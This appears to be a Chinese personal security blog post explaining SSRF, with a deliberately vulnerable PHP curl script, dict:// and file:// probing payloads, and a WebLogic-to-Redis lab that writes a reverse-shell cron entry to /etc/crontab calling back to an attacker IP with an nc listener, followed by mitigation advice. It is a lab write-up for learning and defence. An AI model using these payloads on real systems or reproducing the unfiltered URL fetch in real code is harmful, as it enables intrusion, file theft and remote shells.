type
status
date
slug
summary
tags
category
icon
password

0x00 漏洞原理

当客户端向服务器发送链接请求,这时候服务器会根据请求的URL发送出一个http回应,例如百度识图,当用户向百度识图发送一个图片求其识别,服务器会根据请求处理后返回http信息,也就是返回数据,这里如果没有对请求链接,或者返回的信息左过滤就可能被利用,被利用者发送恶意请求,或者修改返回数据,这样就存在服务器请求伪造。

0x01 漏洞危害

1)端口扫描
2)内网指纹识别
3)对内网web应用造成攻击
4)读取本地文件等
造成威胁前提:curl功能开启,切版本在7.2以上
notion image

0x02 搭建漏洞基本演示

网站根目录下创建测试站点
将服务器请求返回信息下载保存
<?php
// ssrf_curl.php
if(isset($_REQUEST['url'])){
$link = $_REQUEST['url'];
$fileName = time().".txt";  //在这个目录在这里建立一个以时间为文件名的txt
$curlObj = curl_init($link);
$fp = fopen($fileName,'w');  //以写入的方式打开文件
curl_setopt($curlObj,CURLOPT_FILE,$fp);  //定义对url请求返回结果写入的文件对象
curl_setopt($curlObj,CURLOPT_HEADER,0);
curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
curl_exec($curlObj);  //执行url请求
curl_close($curlObj);  //请求结束
fclose($fp);  //关闭文件对象
if(getimagesize($fileName)){ //如果是图片文件
header("Content-Type:image/png");  //定义数据类型
}
$fp = fopen($fileName,'r');
$result = fread($fp,filesize($fileName));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";  //url变量没有传参时候的报错提示
}
?>
访问正常文件:
端口探测:
?url=dict://127.0.0.1:3306
读取文帝文件:
?url=file://c:\windows\system32\drivers\etc\hosts
内网web应用指纹识别:
notion image
请求百度,会将数据以文本格式保存,将格式改为html即可访问至百度站点
notion image
请求robots文件
notion image
测试端口存活
notion image

0x03 SSRF-weblogice框架漏洞

使用docker启动环境测试
docker简单命令:
docker-compose build
docker-compose up -d# 启动并创建在后台运行 暗含第一条命令
docker-compose ps #查看已经启动的docker进程
docker-compose exec 服务名 命令 #在启动的docker服务中运行命令
例:docker-compose exec weblogic ip add 查看weblogiceIP地址
docker-compose down关闭环境
#查看环境地址
端口映射为7001
notion image
访问漏洞点
notion image
抓取数据包
notion image
访问请求redis服务端口地址
redis是运维中常见的服务,可以理解为一个在内存中运行的数据库,存储数据类型众多。读写查询速度
快,经常作为缓存使用。
redis缺少用户验证,直接调用它发送三条redis命令,将弹shell脚本写入 /etc/crontab
notion image
notion image
写入反弹shel攻击机开启监听即可
http://172.18.0.3:6379/test
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >&
/dev/tcp/192.168.213.129/4444 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
攻击机:
nc -lnvp 4444

0x04 漏洞防范

过滤用户输入的URL
限制协议,仅允许 http 或 https 协议
限制IP,避免应用被用来获取内网数据127.0.0.1 192 172,攻击内网
限制端口,限制请求端口为常用端口
过滤输出
过滤返回信息,
只要不符合要求的,全部过滤。 统一错误信息,
让攻击这无法对内网信息进行判断。
最实用的正则表达式渗透测试-应用协议安全
告白
告白
一个普通的干饭人🍚
公告
type
status
date
slug
summary
tags
category
icon
password
🎉告白的个人日常博客🎉
-- 关注微信公众号 ---
Gaobai文库
本站内存在文章缺失,框架组件问题待解决
原博客kxsy.work文章已在慢慢迁移本站
渗透时长两年半的个人练习生
-- 感谢您的支持 ---
👏欢迎阅览👏